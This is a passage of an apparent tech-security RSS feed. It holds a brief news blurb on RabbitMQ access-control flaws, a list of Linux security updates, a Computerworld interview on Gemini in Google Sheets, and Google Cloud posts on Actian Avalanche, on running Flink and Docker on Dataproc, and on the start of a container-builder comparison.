<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/hackers-can-exploit-rabbitmq-oauth-flaw-to-access-every-message-queue-and-user/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/hackers-can-exploit-rabbitmq-oauth-flaw-to-access-every-message-queue-and-user/">Hackers Can Exploit RabbitMQ OAuth Flaw to Access Every Message, Queue, and User</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Hackers Can Exploit RabbitMQ OAuth Flaw to Access Every Message, Queue, and User]]></title>
<description><![CDATA[Security researchers have disclosed two access-control vulnerabilities in RabbitMQ, the open-source message broker used in an estimated 8% of all containers running today, that could allow attackers to seize full administrative control of a broker or silently map out sensitive queue data across s...]]></description>
<link>https://tsecurity.de/de/3665384/it-security-nachrichten/hackers-can-exploit-rabbitmq-oauth-flaw-to-access-every-message-queue-and-user/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665384/it-security-nachrichten/hackers-can-exploit-rabbitmq-oauth-flaw-to-access-every-message-queue-and-user/</guid>
<pubDate>Mon, 13 Jul 2026 15:24:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Security researchers have disclosed two access-control vulnerabilities in RabbitMQ, the open-source message broker used in an estimated 8% of all containers running today, that could allow attackers to seize full administrative control of a broker or silently map out sensitive queue data across shared tenants. Both flaws were discovered by Miggo Security’s autonomous research system, […]</p>
<p>The post <a href="https://gbhackers.com/rabbitmq-oauth-vulnerability/">Hackers Can Exploit RabbitMQ OAuth Flaw to Access Every Message, Queue, and User</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[Security updates for Monday]]></title>
<description><![CDATA[Security updates have been issued by Debian (chromium, libxfont, mesa, opam, and wireless-regdb), Fedora (acl, attr, chromium, cjson, composer, docker-compose, jfrog-cli, librabbitmq, libssh2, libXfont2, log4cxx, OpenImageIO, openssh, p11-kit, perl-Crypt-DSA, perl-HTML-Gumbo, prometheus, python-d...]]></description>
<link>https://tsecurity.de/de/3665263/linux-tipps/security-updates-for-monday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665263/linux-tipps/security-updates-for-monday/</guid>
<pubDate>Mon, 13 Jul 2026 14:41:08 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>Debian</b> (chromium, libxfont, mesa, opam, and wireless-regdb), <b>Fedora</b> (acl, attr, chromium, cjson, composer, docker-compose, jfrog-cli, librabbitmq, libssh2, libXfont2, log4cxx, OpenImageIO, openssh, p11-kit, perl-Crypt-DSA, perl-HTML-Gumbo, prometheus, python-dulwich, python-idna, python-pillow, python-tornado, sssd, tmux, upower, webkitgtk, xorg-x11-server, and xorg-x11-server-Xwayland), <b>Mageia</b> (libarchive and vim), <b>Oracle</b> (389-ds:1.4, buildah, cups, edk2, freerdp, golang, grafana, gstreamer1-plugins-bad-free, gstreamer1-plugins-good, gstreamer1-plugins-ugly-free, kernel, libexif, libsolv, libtasn1, libxml2, nginx:1.24, nginx:1.26, nodejs:22, nodejs:24, oci-seccomp-bpf-hook, podman, postgresql:18, python-urllib3, tigervnc, tomcat, unbound, and xorg-x11-server), <b>Slackware</b> (p11-kit), and <b>SUSE</b> (agama, dash, dracut, flannel, go1.26, gsasl, gstreamer-plugins-good, ImageMagick, imagemagick, kernel, krb5, krb5, krb5-mini, libIex-3_4-33, libmbedtls23, libxfont2, nasm, nghttp2, perl-CGI-Session, perl-dbi, perl-List-SomeUtils-XS, python-pillow, python-social-auth-app-django, python-urllib3, python313-Django4, python313-Django6, python313-pytest-html, python313-sqlparse, python313-websockets, rclone, rust-keylime, rustup, sccache, spectre-meltdown-checker, sssd, terraform-provider-aws, terraform-provider-azurerm, terraform-provider-external, terraform-provider-google, terraform-provider-helm, terraform-provider-kubernetes, terraform-provid, thunderbird, tiff, traefik2, xorg-x11-server, and xwayland).]]></content:encoded>
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<title><![CDATA[Q&A: How Google plans to reinvent the spreadsheet with AI]]></title>
<description><![CDATA[Nearly five decades after the launch of VisiCalc, AI is reshaping one of the world’s most familiar productivity tools — the humble spreadsheet.



While a lot of knowledge workers interact with spreadsheets on a regular basis, many lack the skills and confidence to access more advanced functions....]]></description>
<link>https://tsecurity.de/de/3665017/ai-nachrichten/qa-how-google-plans-to-reinvent-the-spreadsheet-with-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665017/ai-nachrichten/qa-how-google-plans-to-reinvent-the-spreadsheet-with-ai/</guid>
<pubDate>Mon, 13 Jul 2026 13:04:15 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p>Nearly five decades after the launch of VisiCalc, AI is reshaping one of the world’s most familiar productivity tools — the humble spreadsheet.</p>



<p>While a lot of knowledge workers <a href="https://www.acuitytraining.co.uk/news-tips/new-excel-facts-statistics/" target="_blank" rel="noreferrer noopener">interact with spreadsheets on a regular basis</a>, many lack the skills and confidence to access more advanced functions.</p>



<p>“For a very long time, spreadsheets forced you to learn spreadsheet syntax and spreadsheet ways of working,” said Eric Birnbaum, director of product management for <a href="https://www.computerworld.com/article/1657150/how-to-use-google-sheets.html" data-type="link" data-id="https://www.computerworld.com/article/1657150/how-to-use-google-sheets.html">Google Sheets</a>. “But think about how many people need to use spreadsheets at work and don’t have the skill set to create the kinds of spreadsheets that can be really helpful for them.”</p>



<p>The addition of artificial intelligence can help handle that issue, he said, making the software more accessible to a wide range of office workers. “AI is unlocking the power of spreadsheets, taking on a lot of the difficult work that’s required to use them. That can be incredibly empowering for users,” said Birnbaum.</p>



<p>Google has steadily <a href="https://www.computerworld.com/article/4131504/gemini-supercharge-google-sheets-spreadsheets.html" data-type="link" data-id="https://www.computerworld.com/article/4131504/gemini-supercharge-google-sheets-spreadsheets.html">expanded generative AI (genAI) capabilities in Sheets</a> since launching Duet AI — now Gemini — for Workspace in 2023.</p>



<p>Gemini in Sheets is available at no extra cost to Google Workspace subscribers, though a paid <a href="https://knowledge.workspace.google.com/admin/generative-ai/workspace-with-gemini/ai-expanded-access" target="_blank" rel="noreferrer noopener">AI Expanded Access add-on </a>– costing $30 per user each month – is required to remove certain usage limits.</p>



<p>Features that have rolled out in recent months include the ability for a Gemini agent in Sheets to carry out <a href="https://workspaceupdates.googleblog.com/2025/10/expanded-editing-capabilities-gemini-in-google-sheets.html" target="_blank" rel="noreferrer noopener">multi-step actions</a> such as formatting, analysis and data entry, and, more recently, the ability to <a href="https://workspaceupdates.googleblog.com/2026/04/build-and-edit-complex-spreadsheets-with-Gemini-in-Google-Sheets.html" target="_blank" rel="noreferrer noopener">create entire spreadsheets</a> from a single prompt. A <a href="https://workspaceupdates.googleblog.com/2026/04/effortlessly-automate-data-entry-in-Google-Sheets-using-Fill-with-Gemini.html" target="_blank" rel="noreferrer noopener">Fill with Gemini feature </a>builds on the<a href="https://workspaceupdates.googleblog.com/2025/06/generate-data-with-gemini-in-google-sheets.html" target="_blank" rel="noreferrer noopener"> existing AI function,</a> enabling users to automatically populate selected cells by detecting intent from information within a spreadsheet as well as from the web.</p>



<p>Another feature, Sheets Canvas (currently available in alpha), lets users generate interactive apps that update in real-time based on changes to spreadsheet data. This could be a kanban board for a sales pipeline, for instance, or an analytics dashboard that uses Sheets as its back-end data source. </p>



<p>Google claims users already see a range of benefits from Gemini in Sheets. According to an August 2025 survey of 200 Sheets users conducted by the company, the majority of knowledge workers (89%) said AI features in Sheets save them at least an hour a week, and 88% believe AI features have made them more confident in their data analysis skills. </p>



<p>The most popular AI use cases include creating spreadsheets and charts, analyzing data, and fixing broken formulas. How widely these features are actually used is unclear; Google declined to provide weekly usage statistics for Gemini in Sheets.</p>



<p>As the company embeds Gemini deeper into Sheets, questions remain about just how much businesses can trust AI tools to handle important business data, as well as what increased automation means for those who spend much of their day wrangling data. </p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> width="480" height="480" sizes="auto, (max-width: 480px) 100vw, 480px"&gt;<figcaption class="wp-element-caption"><p>Eric Birnbaum, director of product management for Google Sheets.</p></figcaption></figure><p class="imageCredit">Google</p></div>



<p><em>Computerworld</em> recently talked with Birnbaum about the potential benefits and challenges of the latest evolution of spreadsheet software. This interview has been condensed and edited for clarity.</p>



<p><strong>As businesses become more focused on seeing value from AI investments, what measurable benefits are customers seeing from Gemini in Sheets – for example, time saved or other forms of return on investment? </strong>“Spreadsheets remain one of the universal languages for businesses, and we don’t anticipate that’s going to change anytime soon. But by bringing AI into the product where people work, we think it can significantly reduce the technical tax of data: the time spent understanding it, sourcing it, analyzing it, visualizing it.</p>



<p>“Historically, data professionals spent — let’s estimate it at 80% of their time — on the mechanical groundwork, data cleaning, crafting formulas, formatting, troubleshooting, and maybe only 20% of their time on actual strategic decision-making.</p>



<p>“We think that by offloading the manual, time-consuming, error-prone data work to Gemini, we can flip that ratio a bit, so humans can focus on the things that really matter: the high-value questions to ask and the judgment calls and decisions that get made from them. We’re starting to see evidence of that in our own user base and customer base.</p>



<p>“The second point to make is that AI can democratize data analysis to some extent, and make it available to many more users. For so many years, the spreadsheet was a gatekeeper; if you couldn’t speak the rigid language of spreadsheet formulas, you couldn’t extract the value from data. But by introducing these natural language interfaces, AI is separating the analytical capability from the technical literacy. </p>



<p>“If you can ask the right questions, or describe what you want in plain language, Gemini and Sheets can help you achieve your goals in a spreadsheet, even if you have minimal spreadsheet skills yourself.</p>



<p>“What we’ve seen so far from users and customers is that it’s incredibly empowering for people who might have been scared off by data analysis or dreaded opening spreadsheets in the past. You don’t need to go and wait for a data analyst to help you; you can go and do this work yourself in a spreadsheet.”</p>



<p><strong>The flip side is, how confident can businesses be if more junior employees can take on higher-level analysis tasks by relying on AI? Given the propensity for AI models to hallucinate, to what degree can businesses trust that these tools won’t introduce errors into important business data? </strong>“It’s something we spent a ton of time thinking about. We’ve gone to great lengths to build these AI tools to collaborate with you, to show their work, explain what they did, and make sure that you can take over where they leave off.</p>



<p>“Our Sheets agent, for example, lays out a really explicit, transparent plan for you to review and approve before any data manipulation happens. It’s designed to do that in plain natural language in a way that the average user could understand, and then it gives you back that final summary, so you know exactly what it did and where it did it.</p>



<p>“The other thing is that the model is great at explaining things. If you inherit a spreadsheet that has some complex formula that you don’t understand, for example, the model does an amazing job of explaining how it works and what it’s doing.</p>



<p>“In many ways AI is not only making these features more accessible, but helping users feel more confident in the output. Human error is an inherent risk in manual data management, with or without AI. One misplaced comma or broken cell reference can completely corrupt an entire financial model, and it can be completely undetected. </p>



<p>“Our approach with AI in Sheets is to create this deliberate verification loop. You now have another spreadsheet expert working along with you, reducing the likelihood of these mistakes.”</p>



<p><strong>Even if humans produce errors too, does it ultimately come down to accountability when AI is involved? </strong>“Our point of view here is that AI should be partnering with the knowledge worker who’s doing the work here. And everything that we’ve built is designed to be that partner. You might be able to offload tasks to the model, but we’re citing sources, we’re providing plans and explanations. We’re ultimately relying on the user to do that final verification.</p>



<p>“We spend a humongous amount of time focused on quality. We know that for AI to be useful in spreadsheets, it has to be reliable. When we launched Sheets Gemini Agent, for example, we were really proud that we set a state-of-the-art benchmark on the full SpreadsheetBench data set, which at the time exceeded competitors and near-human expert ability. </p>



<p>“But we know quality is never ‘good enough’ or done. We’re constantly working to improve quality for our users and customers, and for the use cases where they’re relying on AI most.”</p>



<p><strong>What potential do you see for more agentic functionality in Gemini Sheets — for example, bringing in data from other sources, creating recurring reports, or taking more actions independently? “</strong>We’re listening closely to customers and users and building what they’re telling us they need. The agent is already capable of doing very complex multistep workflows, and we see users discover that the agent is extremely capable of doing end-to-end spreadsheet tasks. In terms of connectors, in an alpha we have connections available to HubSpot, Salesforce, and Mailchimp. We hope to expand that over time.</p>



<p>“There’s no path to have AI replacing analysts. I think AI is giving analysts more time back to actually do the more valuable parts of their job. Analysts that I work with are way more productive and impactful than they ever were before, because they can push that uninteresting spreadsheet grunt work off to the model, freeing up time for more interesting and impactful work.</p>



<p>“A great example: the visualizations I’m getting back from analysts nowadays are canvases instead of static charts that I can explore myself. It’s way more informative and useful than what I was accustomed to before.”</p>



<p><strong>Looking ahead, do you expect a larger share of spreadsheet work to be carried out by agents, with humans setting goals and reviewing results? What will be the biggest change in how people use spreadsheets with AI? </strong>“The tasks are likely to stay similar and the use cases for spreadsheets are likely to continue to be relevant. The biggest change will be the ability to push the uninteresting spreadsheet grunt work off to a model and free up time for the user to do things that are more impactful, more interesting, more meaningful to the business.</p>



<p>‘Spreadsheets have historically been these like static containers where data goes to rest. I think AI can turn spreadsheets into these dynamic, localized software applications. And I do actually think this sort of changes the game for how people might use spreadsheets moving forward. </p>



<p>“It’s not just a passive grid full of numbers; spreadsheets are evolving to become these live, long-lived, collaborative applications. Employees can build these on the fly, like a basic CRM or supply chain dashboard in seconds. This is an area of investment for us moving forward, and we’re really excited to see how this evolves.”</p>



<p><strong>AI assistants and agents, such as ChatGPT or Claude, might be able to analyze spreadsheet files and business data without users working inside a spreadsheet application. What do you think will keep Sheets central to the workflow, rather than simply making it one part of a wider AI-driven process?</strong>“We’re in constant touch with customers and users; it’s clear work is still happening in spreadsheets. I think spreadsheets remain incredibly popular tools. If we can bring the AI capabilities users need directly into the product where they already are, we’ll transform the way they work.  </p>



<p>“I think we can be the front-end for some of this great AI innovation and the products that users are accustomed to today. Everything we build is guided by user feedback: users are telling us right now they want AI to help them do their everyday or more complex tasks, and they’re starting in Sheets today.”</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Modernizing enterprise data warehousing with Actian Avalanche on Google Cloud]]></title>
<description><![CDATA[Increasingly, businesses are looking to the cloud to derive more value out of their business data. At Google Cloud, we’re committed to providing customers choice across technology, solutions, and partnerships.Our work with HCL Technologies is an example of this. HCL, which launched its Google Clo...]]></description>
<link>https://tsecurity.de/de/3662843/it-security-nachrichten/modernizing-enterprise-data-warehousing-with-actian-avalanche-on-google-cloud/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662843/it-security-nachrichten/modernizing-enterprise-data-warehousing-with-actian-avalanche-on-google-cloud/</guid>
<pubDate>Sun, 12 Jul 2026 08:07:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p>Increasingly, businesses are looking to the cloud to derive more value out of their business data. At Google Cloud, we’re committed to providing customers choice across technology, solutions, and partnerships.</p><p>Our work with HCL Technologies is an example of this. HCL, which launched its <a href="https://www.hcltech.com/cloud/google-cloud" target="_blank">Google Cloud Business Unit</a> in 2019, is helping organizations across industries accelerate their migrations to Google Cloud, and has named Google Cloud its preferred cloud provider for several key verticals. As part of this work, last month HCL announced that its Actian Avalanche hybrid cloud data warehousing service will be available on Google Cloud.</p><p>Actian Avalanche is a high-performance hybrid cloud data warehouse designed to power an enterprise’s most demanding operational analytics workloads. Together with <a href="https://cloud.google.com/bigquery/">BigQuery</a>, Google Cloud's enterprise data warehouse, customers now have choice and flexibility to modernize their data warehouses in the cloud for business agility.</p><p>Actian Avalanche enables a seamless path to migrate legacy data warehouses, including IBM Netezza and Oracle Exadata, to Google Cloud, through a hybrid-cloud offering leveraging Google Cloud’s Anthos application platform. By modernizing enterprise data analytics, customers can improve performance by up to 20 percent on Google Cloud vs other clouds <a href="https://www.actian.com/wp-content/uploads/2020/09/DS75-0920-AvalancheOnGoogleCloud.pdf?id=21289" target="_blank">per Actian’s tests</a>, while building a foundation for future innovation and scale in the cloud.</p><p>Actian Avalanche on Google Cloud utilizes underlying infrastructure technologies like Google Kubernetes Engine, Dataproc, and Cloud Storage. Actian is tightly integrated with Looker for data visualization and is actively engaged with Google Cloud engineering teams for integrations with Pub/Sub, Dataflow, Dataprep, and Kubeflow.</p><p>Interested in learning more about Actian Avalanche on Google Cloud? We’re offering an interactive webinar: Future of Cloud Data Warehousing. The webinar will feature Manvinder Singh, Director, IaaS/PaaS Partnerships at Google Cloud and Raghu Chakravarthi, Actian’s Chief Product Officer, on October 21 at 11am PT (2pm ET). To join us, sign up <a href="https://www.actian.com/webinars/avalanche-and-google-cloud-engineered-for-the-data-driven-enterprise/" target="_blank">here</a>.</p><p>We’re excited to continue to expand our strategic relationship with HCL, a trusted IT and business transformation partner to businesses around the globe.</p></div>]]></content:encoded>
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<item>
<title><![CDATA[New Dataproc optional components support Apache Flink and Docker]]></title>
<description><![CDATA[Google Cloud’s Dataproc lets you run native Apache Spark and Hadoop clusters on Google Cloud in a simpler, more cost-effective way. In this blog, we will talk about our newest optional components available in Dataproc’s Component Exchange: Docker and Apache Flink.Docker container on DataprocDocke...]]></description>
<link>https://tsecurity.de/de/3662840/it-security-nachrichten/new-dataproc-optional-components-support-apache-flink-and-docker/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662840/it-security-nachrichten/new-dataproc-optional-components-support-apache-flink-and-docker/</guid>
<pubDate>Sun, 12 Jul 2026 08:07:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p>Google Cloud’s Dataproc lets you run native Apache Spark and Hadoop clusters on Google Cloud in a simpler, more cost-effective way. In this blog, we will talk about our newest optional components available in Dataproc’s Component Exchange: Docker and Apache Flink.</p><h3>Docker container on Dataproc</h3><p>Docker is a widely used container technology. Since it’s now a Dataproc optional component, Docker daemons can now be installed on every node of the Dataproc cluster. This will give you the ability to install containerized applications and interact with Hadoop clusters easily on the cluster. </p><p>In addition, Docker is also critical to supporting these features:</p><ol><li><p>Running containers with YARN</p></li><li><p>Portable Apache Beam job</p></li></ol><p>Running containers on YARN allows you to manage dependencies of your YARN application separately, and also allows you to create containerized services on YARN. <a href="https://hadoop.apache.org/docs/current/hadoop-yarn/hadoop-yarn-site/DockerContainers.html" target="_blank">Get more details here.</a> Portable Apache Beam packages jobs into Docker containers and submits them the Flink cluster. Find <a href="https://beam.apache.org/roadmap/portability/" target="_blank">more detail about Beam portability</a>. </p><p>Docker optional component is also configured to use <a href="https://cloud.google.com/container-registry">Google Container Registry</a>, in addition to the default Docker registry. This lets you use container images managed by your organization.</p><p>Here is how to create a Dataproc cluster with the Docker optional component:</p><p><code>gcloud beta dataproc clusters create &lt;cluster-name&gt; \</code><br><code>  --optional-components=DOCKER \</code><br><code>  --image-version=1.5</code></p><p>When you run the Docker application, the log will be streamed to Cloud Logging, using gcplogs driver.</p><p>If your application does not depend on any Hadoop services, check out <a href="https://kubernetes.io/" target="_blank">Kubernetes</a> and <a href="https://cloud.google.com/kubernetes-engine/docs/quickstart">Google Kubernetes Engine</a> to run containers natively. For more on using Dataproc, <a href="https://cloud.google.com/dataproc/docs">check out our documentation</a>.</p><h3>Apache Flink on Dataproc</h3><p>Among streaming analytics technologies, Apache Beam and Apache Flink stand out. Apache Flink is a distributed processing engine using stateful computation. <a href="https://beam.apache.org/get-started/beam-overview/" target="_blank">Apache Beam</a> is a unified model for defining batch and steaming processing pipelines. Using <a href="https://beam.apache.org/documentation/runners/flink/" target="_blank">Apache Flink as an execution engine</a>, you can also run Apache Beam jobs on Dataproc, in addition to Google’s Cloud Dataflow service.</p><p>Flink and running Beam on Flink are suitable for large-scale, continuous jobs, and provide:</p><ul><li><p>A streaming-first runtime that supports both batch processing and data streaming programs</p></li><li><p>A runtime that supports very high throughput and low event latency at the same time</p></li><li><p>Fault-tolerance with exactly-once processing guarantees</p></li><li><p>Natural back-pressure in streaming programs</p></li><li><p>Custom memory management for efficient and robust switching between in-memory and out-of-core data processing algorithms</p></li><li><p>Integration with YARN and other components of the Apache Hadoop ecosystem</p></li></ul><p>Our Dataproc team here at Google Cloud recently announced that <a href="https://cloud.google.com/blog/products/data-analytics/open-source-processing-engines-for-kubernetes">Flink Operator on Kubernetes</a> is now available. It allows you to run Apache Flink jobs in Kubernetes, bringing the benefits of reducing platform dependency and producing better hardware efficiency. </p><p><b>Basic Flink Concepts</b></p><p>A Flink cluster consists of a Flink JobManager and a set of Flink TaskManagers. Like similar roles in other distributed systems such as YARN, JobManager has responsibilities such as accepting jobs, managing resources and supervising jobs. TaskManagers are responsible for running the actual tasks. </p><p>When running Flink on Dataproc, we use YARN as resource manager for Flink. You can run Flink jobs in 2 ways: job cluster and session cluster. For the job cluster, YARN will create JobManager and TaskManagers for the job and will destroy the cluster once the job is finished. For session clusters, YARN will create JobManager and a few TaskManagers.The cluster can serve multiple jobs until being shut down by the user.</p><p><b>How to create a cluster with Flink</b></p><p>Use this command to get started:</p><p><code>gcloud beta dataproc clusters create &lt;cluster-name&gt; \</code><br><code>  --optional-components=FLINK \</code><br><code>  --image-version=1.5</code></p><p><b>How to run a Flink job</b></p><p>After a Dataproc cluster with Flink starts, you can submit your Flink jobs to YARN directly using the Flink job cluster. After accepting the job, Flink will start a JobManager and slots for this job in YARN. The Flink job will be run in the YARN cluster until finished. The JobManager created will then be shut down. Job logs will be available in regular YARN logs. Try this command to run a word-counting example:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'HADOOP_CLASSPATH=`hadoop classpath` flink run -m yarn-cluster /usr/lib/flink/examples/batch/WordCount.jar'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa8374c0&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>The Dataproc cluster will not start a <a href="https://ci.apache.org/projects/flink/flink-docs-release-1.10/ops/deployment/yarn_setup.html#flink-yarn-session" target="_blank">Flink Session</a> cluster by default. Instead, Dataproc will create the script “/usr/bin/flink-yarn-daemon,” which will start a Flink session. </p><p>If you want to start a Flink session when Dataproc is created, use the metadata key to allow it:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'gcloud dataproc clusters create &lt;cluster-name&gt; \\\r\n    --optional-components=FLINK \\ \r\n    --image-version=1.5 \\\r\n    --metadata flink-start-yarn-session=true'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa837580&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>If you want to start the Flink session after Dataproc is created, you can run the following command on master node:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', '$ . /usr/bin/flink-yarn-daemon'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa8375e0&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>Submit jobs to that session cluster. You’ll need to get the Flink JobManager URL:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'HADOOP_CLASSPATH=`hadoop classpath` flink run -m &lt;JOB_MANAGER_HOSTNAME&gt;:&lt;REST_API_PORT&gt; /usr/lib/flink/examples/batch/WordCount.jar'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa837640&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p><b>How to run a Java Beam job</b></p><p>It is very easy to run an Apache Beam job written in Java. There is no extra configuration needed. As long as you package your Beam jobs into a JAR file, you do not need to configure anything to run Beam on Flink. This is the command you can use:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', '$ mvn package -Pflink-runner\r\n$ bin/flink run -c org.apache.beam.examples.WordCount /path/to/your.jar\r\n--runner=FlinkRunner --other-parameters'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa8376a0&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p><b>How to run a Python Beam job written in Python</b></p><p>Beam jobs written in Python use a different execution model. To run them in Flink on Dataproc, you will also need to enable the Docker optional component. Here’s how to create a cluster:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'gcloud dataproc clusters create &lt;cluster-name&gt; \\\r\n    --optional-components=FLINK,DOCKER'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa837700&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>You will also need to install necessary Python libraries needed by Beam, such as apache_beam and apache_beam[gcp]. You can pass in a Flink master URL to let it run in a session cluster. If you leave the URL out, you need to use the job cluster mode to run this job:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'import apache_beam as beam\r\nfrom apache_beam.options.pipeline_options import PipelineOptions\r\n\r\noptions = PipelineOptions([\r\n    "--runner=FlinkRunner",\r\n    "--flink_version=1.9",\r\n    "--flink_master=localhost:8081",\r\n    "--environment_type=DOCKER"\r\n])\r\nwith beam.Pipeline(options=options) as p:\r\n    ...'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa837760&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>After you’ve written your Python job, simply run it to submit:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', '$ python wordcount.py'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa8377c0&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p><a href="https://cloud.google.com/dataproc">Learn more about Dataproc.</a></p></div>]]></content:encoded>
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<title><![CDATA[Buildpacks vs Jib vs Dockerfile: Comparing containerization methods]]></title>
<description><![CDATA[As developers we work on source code, but production systems don't run source, they need a runnable thing. Starting many years ago, most enterprises were using Java EE (aka J2EE) and the runnable "thing" we would deploy to production was a ".jar", ".war", or ".ear" file. Those files consisted of ...]]></description>
<link>https://tsecurity.de/de/3662836/it-security-nachrichten/buildpacks-vs-jib-vs-dockerfile-comparing-containerization-methods/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662836/it-security-nachrichten/buildpacks-vs-jib-vs-dockerfile-comparing-containerization-methods/</guid>
<pubDate>Sun, 12 Jul 2026 08:06:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p>As developers we work on source code, but production systems don't run source, they need a runnable thing. Starting many years ago, most enterprises were using Java EE (aka J2EE) and the runnable "thing" we would deploy to production was a ".jar", ".war", or ".ear" file. Those files consisted of the compiled Java classes and would run inside of a "container" running on the JVM. As long as your class files were compatible with the JVM and container, the app would just work.</p><p>That all worked great until people started building non-JVM stuff: Ruby, Python, NodeJS, Go, etc. Now we needed another way to package up apps so they could be run on production systems. To do this we needed some kind of virtualization layer that would allow anything to be run. Heroku was one of the first to tackle this and they used a Linux virtualization system called "lxc" - short for Linux Containers. Running a "container" on lxc was half of the puzzle because still a "container" needed to be created from source code, so Heroku invented what they called "Buildpacks" to create a standard way to convert source into a container.</p><p>A bit later a Heroku competitor named dotCloud was trying to tackle similar problems and went a different route which ultimately led to Docker, a standard way to create and run containers across platforms including Windows, Mac, Linux, Kubernetes, and Google Cloud Run. Ultimately the container specification behind Docker became a standard under the <a href="https://opencontainers.org/" target="_blank">Open Container Initiative (OCI)</a> and the virtualization layer switched from lxc to <a href="https://github.com/opencontainers/runc" target="_blank">runc</a> (also an OCI project).</p><p>The traditional way to build a Docker container is built into the <code>docker</code> tool and uses a sequence of special instructions usually in a file named <code>Dockerfile</code> to compile the source code and assemble the "layers" of a container image.</p><p>Yeah, this is confusing because we have all sorts of different "containers" and ways to run stuff in those containers. And there are also many ways to create the things that run in containers. The bit of history is important because it helps us categorize all of this into three parts:</p><ul><li>Container Builders - Turn source code into a Container Image</li><li>Container Images - Archive files containing a "runnable" application</li><li>Containers - Run Container Images</li></ul><p>With Java EE those three categories map to technologies like:</p><ul><li>Container Builders == Ant or Maven</li><li>Container Images == .jar, .war, or .ear</li><li>Containers == JBoss, WebSphere, WebLogic</li></ul><p>With Docker / OCI those three categories map to technologies like:</p><ul><li>Container Builders == Dockerfile, Buildpacks, or Jib</li><li>Container Images == .tar files usually not dealt with directly but through a "container registry"</li><li>Containers == Docker, Kubernetes, Cloud Run</li></ul><h3>Java Sample Application</h3>Let's explore the Container Builder options further on a little Java server application.  If you want to follow along, clone my <a href="https://github.com/jamesward/comparing-docker-methods" target="_blank">comparing-docker-methods project</a>:<p><code>git clone https://github.com/jamesward/comparing-docker-methods.git</code><br></p><p><code>cd comparing-docker-methods</code></p><p></p><p>In that project you'll see a basic Java web server in <code>src/main/java/com/google/WebApp.java</code> that just responds with "hello, world" on a GET request to <code>/</code>. Here is the source:<br></p><p></p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
